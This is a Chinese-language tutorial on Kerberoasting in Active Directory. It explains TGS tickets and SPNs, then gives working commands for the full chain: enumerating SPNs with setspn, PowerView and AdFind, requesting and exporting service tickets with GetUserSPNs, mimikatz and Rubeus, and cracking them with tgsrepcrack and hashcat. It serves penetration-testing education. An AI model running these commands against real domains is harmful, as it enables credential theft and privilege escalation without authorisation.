Kerberoasting攻击原理

Kerberoasting 是域渗透中经常使用的一项技术,是Tim Medin 在DerbyCon 2014上发布的一种域口令攻击方 法,Tim Medin 同时发布了配套的攻击工具kerberoast。此后,不少研究人员对Kerberoasting 进行了改进和扩 展,在GitHub上开发发布了大量工具,使得Kerberoasting 逐渐发展成为域攻击的常用方法之一。Kerberoast攻击是在TGS_REP的过程(也就是返回ST票据时)中用户将会收到由目标服务实例的NTLM hash加密生成的ST(service ticket),如果获得这个ST票据,我们可以尝试穷举口令,模拟加密过程,进行破解。

Kerberoasting攻击发生的阶段TGS-REP:

TGS-REP:

ST票据的加密是使用的AES256,这种加密不好进行破解,但是我们可以通过将算法变成RC4_HMAC_MD5就就比较容易破解。

TGS收到用户的TGT之后做出的动作:

  1. TGS接收到请求之后,首先会检查自身是否存在客户端所请求的服务(就是查询SPN值)

  2. 如果服务存在,则通过krbtgt用户的NTML hash值进行解密TGT并得到(CT_SK)Login Session key

  3. 解密成功后使用CT_SK解密SK加密内容,然后检查里面的数据

解密TGT之后的动作:

  1. 使用CT_SK加密CS_SK(Service Session key)(也就是最外层的enc-part部分)

  2. ST包含客户端用户信息和原始CS_SK,整个ST票据用该服务的NTLM Hash进行加密。

而可以使用Kerberoasting进行攻击的原理:

  • ST票据的加密方式没有强制采用AES256,可以使用MD5的加密方式

  • 在TGS认证TGT的时候,不管提供的用户是否具有访问服务的权限都会返回目标服务的ST票据

SPN

服务主体名称SPN(Server principal Name SPN),是服务实例(可以理解为一个服务,比如HTTP、 MSSQL)的唯一标识符。Kerberos 身份验证使用SPN将服务实例与服务帐户相关联。在域中如果有多个服务,每个服务必须有自己的SPN和用户,一个用户可以有多个SPN,但是SPN只能对应一个用户,SPN必须注册的用户下

SPN的格式:

<service class>/<host>:<port><service name>

SPN中<service class>/<host>是必要的,<port><service name>是非必要的。

Service class:服务类如HOST、CIFS、LDAP、HTTP等。

host:服务所在的主机名计算机hostname命令输出的值加上域名后缀ls-pc.abc.com

例如一个ls-pc这个在域abc.com中的机器有一个MSSQLSvc服务,则它的SPN值:MSSQLSvc/ls-pc.abc.com

SPN分类

1、注册在机器账户下

电脑加入域之后,机器用户会同步到域控(主机名$),什么样子的服务会注册到这个账户呢?服务权限为local system 或者Network service时,比如HOST服务(其中的SPN<serviceclass>/<host>) 查询SPN命令:setspn -Q */*

2、注册在域用户下

SPN可以注册在域中的用户,默认只有机器用户或者域管理员用户才有权限去注册SPN(将服务注册在用户的权限),域中的普通用户如果要注册需要修改权限(一般默认的一些工具软件会注册到机器用户下)

SPN注意事项

在使用kerberos访问对方电脑的服务之前,KDC上必须有服务对应的SPN,并写注册到用户上。

注册SPN有两种方法:

  1. 系统自动完成注册比如安装EX邮箱,SQL等。

  2. 手动注册,可以根据SPN的格式进行手动注册。

在注册SPN的时候只有机器用户或者管理员用户才有权限。

注册SPN

1、注册在域用户下

注册一个SPN是HTTP服务,对应的电脑是ls-pc,注册在ls用户下

命令:setspn -U -S HTTP/ls-pc.abc.com:80 ls

2、注册在机器用户下

将HTTP服务注册到当前机器用户下

命令:setspn -C -S HTTP/ls-pc.abc.com:81 [当前用户名]

Server Hash

  1. A电脑提供TGT和需要访问的服务 SPN

  2. TGS检查服务名和对应SPN值

  3. TGS发现SPN中对应的机器名,如机器名ls-pc.abc.com:80

  4. SPN对应的用户是的域用户,则对应的域用户ls-pc

  5. 则生成ST票据(使用ls-pc这个域用户的Hash值进行加密票据)

注:User对应的是域用户,Computer对应的是机器用户。

SPN探测技术

在控制了一台内网主机的时候,我们可以探测域中注册的SPN,原理上还是使用LDAP协议进查询,这里主要分为域内主机和非域内主机进行探测

域内SPN探测技术

1、使用setspn命令

setspn -Q */* 查询所有的SPN

setspn -T abc.com -Q */* 查询指定域内的SPN

2、使用PowerView的Powershell脚本

import-Module .\powerview.ps1
Get-NetUser -SPN

3、使用Adfind工具进行查询

工具地址:

命令:

Adfind.exe -b "dc=abc,dc=com" -f "&(servicePrincipalName=*)" servicePrincipalName

探索高权限SPN值:

.\Adfind.exe -b "dc=abc,dc=com" -f "&(servicePrincipalName=*)(admincount=1)" servicePrincipalName

非域内SPN探测技术

对于非域内的主机,可以通过Adfind来进行探测,但是必须提供一个域中的账号密码。

命令:

.\Adfind.exe -h 192.168.40.10:389 -u abc/ww -up Admin@333 -f "&(servicePrincipalName=*)" servicePrincipalName
#获取高权限的SPN值
.\Adfind.exe -h 192.168.40.10:389 -u abc/ww -up Admin@333 -f "&(servicePrincipalName=*)(admincount=1)" servicePrincipalName

这里-h对应的192.168.40.10为域控地址,abc为域,ww为域用户,-up后是对应的账号密码

获取SPN服务票据

GetUserSPNs.exe

工具地址:https://github.com/maaaaz/impacket-examples-windows,其实就是impacket工具包

在域内和非域内的主机都可以使用GetUserSPNs.exe这个工具来获取域内的SPN的服务票据

命令:

.\GetUserSPNs.exe -request -dc-ip 192.168.40.10 abc.com/ww:Admin@333 -outputfile 1.txt
#或获取指定用户的SPN值的凭证
.\GetUserSPNs.exe -request -dc-ip 192.168.40.10 abc.com/ww:Admin@333 -outputfile 1.txt -user ls

mimikatz

命令:

kerberos::ask /target:HTTP/ww.abc.com #申请票据
kerberos:list /export #导出所有票据

Rubeus

工具地址:https://github.com/GhostPack/Rubeus,需要自行编译

需要一定环境.NET Framework3.5的环境

命令:

.\Rubeus.exe kerberoast /format:john /outfile:2.txt

破解获取的凭证

因为获取的ST因工具的不同有Kirbi格式的也有hash格式的使用不同的工具进行破解

gtsrepcrack.py

破解kirbi格式的票据凭证密码

方法1

破解mimikatz导出的票据使用tgsrepcrack脚本,该脚本使用python3进行执行

脚本地址:https://github.com/4ESTSEC/kerberoasting/blob/main/tgsrepcrack.py

下载整个项目文件夹,然后执行如下命令:

命令:python tgsrepcrack.py 密码字典 票据

方法2

使用kirbi2john.py(python3)脚本将kirbi票据转化成hash值,然后再使用hashcat进行破解

kirbi2john.py地址:https://github.com/openwall/john/blob/bleeding-jumbo/run/kirbi2john.py

将生成的hash值保存在文件中,然后使用hashcat进行破解密码

HashCat

这里使用HashCat工具进行破解Hash格式的

hashcat -m 13100 hash pass --force

解密后的结果都会存在当前hachcat文件夹下的hashcat.potfile文件中。